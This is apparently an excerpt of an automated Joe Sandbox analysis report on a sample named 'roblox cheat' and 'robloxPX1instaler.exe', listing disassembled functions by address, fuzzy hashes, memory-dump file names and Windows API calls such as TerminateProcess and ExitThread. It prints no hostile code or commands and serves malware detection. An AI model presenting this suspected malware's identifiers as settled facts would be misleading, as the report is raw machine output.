Opcode Fuzzy Hash: 2b80a79ae8a6d72279619ede6dcd1160f617e8232dbd7c910f70ddbff479a4c6
Instruction Fuzzy Hash: 2BB19632808B39CBCF69EF78C894347B7A1FF16319325859E9485EB5A4D272B841CBC5

Function 014E34C1 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b38b8e5eb946739c3f98f98302d3b9c1acdba584140656062e40e4c0820a9bd4
Instruction ID: a6b5a0e370f61b7c576133a989c863501d8a893babe738669cfcc7effb52b0b4
Opcode Fuzzy Hash: b38b8e5eb946739c3f98f98302d3b9c1acdba584140656062e40e4c0820a9bd4
Instruction Fuzzy Hash: BFA11931858B79CBCF19EF78C994347B7B1FF16329369849ED495EB1A4D226A800CBC1

Function 014E9F48 Relevance: 5.4, Strings: 4, Instructions: 426COMMON

Download Yara Rule

Strings

Xq, xrefs: 014EA08B
Xq, xrefs: 014EA043
Xq, xrefs: 014E9FBD
Xq, xrefs: 014E9F89

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: 0a2a28bb9bb0974ab2d56160b27e6832d069e11a2f64b3fda1079fbeb5ce55c7
Instruction ID: f067a912aa047474018ef2a19fff60f6201f42731e3e72d40765cf598244305b
Opcode Fuzzy Hash: 0a2a28bb9bb0974ab2d56160b27e6832d069e11a2f64b3fda1079fbeb5ce55c7
Instruction Fuzzy Hash: C7D17C31905FA28BD771CB1C9DA87DBF7E1FFA032AB68459B808447728F63148919BC5

Function 014E9F58 Relevance: 5.1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

Strings

Xq, xrefs: 014EA08B
Xq, xrefs: 014EA043
Xq, xrefs: 014E9FBD
Xq, xrefs: 014E9F89

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: 07ae98492db3431755bc5de6ae3bf5bd021297bc7f7586e5bf2ffa41591c3b95
Instruction ID: 8149492c3da386aeac87ccddfc2a250d9693351ab93c43dd4ac7c26330257183
Opcode Fuzzy Hash: 07ae98492db3431755bc5de6ae3bf5bd021297bc7f7586e5bf2ffa41591c3b95
Instruction Fuzzy Hash: 9431B770E0021F47EF358A6DC8557BFBAE66F84202F2400BB892DA7351EA31CD45DB91

Function 014E1690 Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

Xq, xrefs: 014E16F0
Xq, xrefs: 014E176F
Xq, xrefs: 014E16B6
Xq, xrefs: 014E17BC

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: 84a6143845760cccd403c26ba7d0c0ba4362567412f8a037a76360b180a964de
Instruction ID: cbb1262bbc5b70525e61163156d5dfe7d30846413e8bf69e2601167583d35057
Opcode Fuzzy Hash: 84a6143845760cccd403c26ba7d0c0ba4362567412f8a037a76360b180a964de
Instruction Fuzzy Hash: 6E317630E403294BEF759BA9C84576FB6F57B84A02F14416BC51DA7361DB70CA81CBD2

Analysis Process: robloxPX1instaler.exePID: 3300, Parent PID: 4840COMMON

Execution Graph

Execution Coverage:	21%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	485
Total number of Limit Nodes:	7

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00B2D0F8 Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab57a412ecfaf76c50045dacf294404439d98aaa4740bf0a0d07b7cf031cd47b
Instruction ID: 31295c00978da693f4a8354fb33df6d5a4351890e36ac6e31bfbd58454ee4f3b
Opcode Fuzzy Hash: ab57a412ecfaf76c50045dacf294404439d98aaa4740bf0a0d07b7cf031cd47b
Instruction Fuzzy Hash: A0F06532611334EBCB26CB5CD509A99B3FDEB49B61F114096F505EB590C6B0DD00C7D0

Function 00B2C9FF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,38E2E45B,?,00B2CB0C,?,?,?,00000000), ref: 00B2CAC0

Strings

ext-ms-, xrefs: 00B2CA6A
api-ms-, xrefs: 00B2CA56

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d7a8443095af15553a0119e237c3c3d71f89ec1c2afdfff78c862de573352fb9
Instruction ID: eeff6c8ca2483f2329264d2f079bb159ee625590470341c7237f2196ce6d7288
Opcode Fuzzy Hash: d7a8443095af15553a0119e237c3c3d71f89ec1c2afdfff78c862de573352fb9
Instruction Fuzzy Hash: E421BB71A01235ABC721DB64FC41A9E3FE8DB477A1F2446A4E919B7294DB30EE41C7E0

Function 00B144F4 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A316: GetLastError.KERNEL32(00000000,?,00B0E677,00B2B9ED,?,?,00B2A212,00000001,00000364,?,00000006,000000FF,?,00B14464,00C3C1C8,0000000C), ref: 00B2A31A
Part of subcall function 00B2A316: SetLastError.KERNEL32(00000000), ref: 00B2A3BC

CloseHandle.KERNEL32(?,?,?,00B1462B,?,?,00B1449D,00000000), ref: 00B14525
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,00B1462B,?,?,00B1449D,00000000), ref: 00B1453B
ExitThread.KERNEL32 ref: 00B14544

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: 61473d4df6a1d785b48d3e717edaf0a333d62991fed183132212eceef20549e9
Instruction ID: 5fa927e248280169bd604251c7f5535df998c47881baae60b7086e44e2f3f0a6
Opcode Fuzzy Hash: 61473d4df6a1d785b48d3e717edaf0a333d62991fed183132212eceef20549e9
Instruction Fuzzy Hash: F0F0FE30500710ABDB215B65CC0DA9A3ADAEF15361B984A90B865E75A0DF30DD82C791

Function 00B2437B Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00B24375,00B1466F,00B1466F,?,00000002,38E2E45B,00B1466F,00000002), ref: 00B2438C
TerminateProcess.KERNEL32(00000000,?,00B24375,00B1466F,00B1466F,?,00000002,38E2E45B,00B1466F,00000002), ref: 00B24393
ExitProcess.KERNEL32 ref: 00B243A5

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0457bbe2d631ca25ae79982a67bfbbfc3b4e1805802a7071016436da191108fa
Instruction ID: c4cd84c632e01f7ea9309e270c8ca74cb8058dd4125b19f66def20c406526326
Opcode Fuzzy Hash: 0457bbe2d631ca25ae79982a67bfbbfc3b4e1805802a7071016436da191108fa
Instruction Fuzzy Hash: D1D09E31000714ABCF416FA0EC0EA993F65EF44342B1441A0B90D6B532CF7299929B84

Function 00B2CACA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[8, xrefs: 00B2CADE, 00B2CB2F

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID:
String ID: [8
API String ID: 0-2721712938
Opcode ID: 0394f0e54f33fbc8129c310b43932e9e9d653d61de9067beb572ae916f89d1a3
Instruction ID: f5d3153398026b8936bf601bdab3ee094078fb118c3c8d2c74ad299cfa5080ec
Opcode Fuzzy Hash: 0394f0e54f33fbc8129c310b43932e9e9d653d61de9067beb572ae916f89d1a3
Instruction Fuzzy Hash: CC01F5336046359BDB269F6DFC49A5E3BDAEB893603244161F908DB15CDA31C801D791

Function 00B1443F Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00C3C1C8,0000000C), ref: 00B14452
ExitThread.KERNEL32 ref: 00B14459

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
